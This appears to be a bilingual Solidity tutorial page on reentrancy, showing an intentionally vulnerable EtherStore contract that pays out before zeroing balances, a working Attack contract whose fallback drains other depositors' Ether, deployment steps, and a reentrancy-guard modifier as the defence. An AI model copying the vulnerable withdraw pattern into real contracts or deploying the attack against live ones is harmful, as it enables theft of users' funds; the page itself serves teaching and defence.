Skip to main content

重新进入

重新进入

漏洞 假设合约A调用合约B。

重入漏洞允许在执行完成之前B回调。AA

Vulnerability Let's say that contract A calls contract B.

Reentracy exploit allows B to call back into A before A finishes execution.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/*
EtherStore is a contract where you can deposit and withdraw ETH.
This contract is vulnerable to re-entrancy attack.
Let's see why.

1. Deploy EtherStore
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
3. Deploy Attack with address of EtherStore
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
plus 1 Ether sent from this contract).

What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.

Here is how the functions were called
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/

contract EtherStore {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);

(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");

balances[msg.sender] = 0;
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

contract Attack {
EtherStore public etherStore;
uint256 constant public AMOUNT = 1 ether;

constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}

// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= AMOUNT) {
etherStore.withdraw();
}
}

function attack() external payable {
require(msg.value >= AMOUNT);
etherStore.deposit{value: AMOUNT}();
etherStore.withdraw();
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

预防技术

  • 确保在调用外部合约之前发生所有状态更改
  • 使用防止重入的函数修饰符

这是重入防护的示例

Preventative Techniques

  • Ensure all state changes happen before calling external contracts
  • Use function modifiers that prevent re-entrancy

Here is a example of a re-entracy guard

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract ReEntrancyGuard {
bool internal locked;

modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}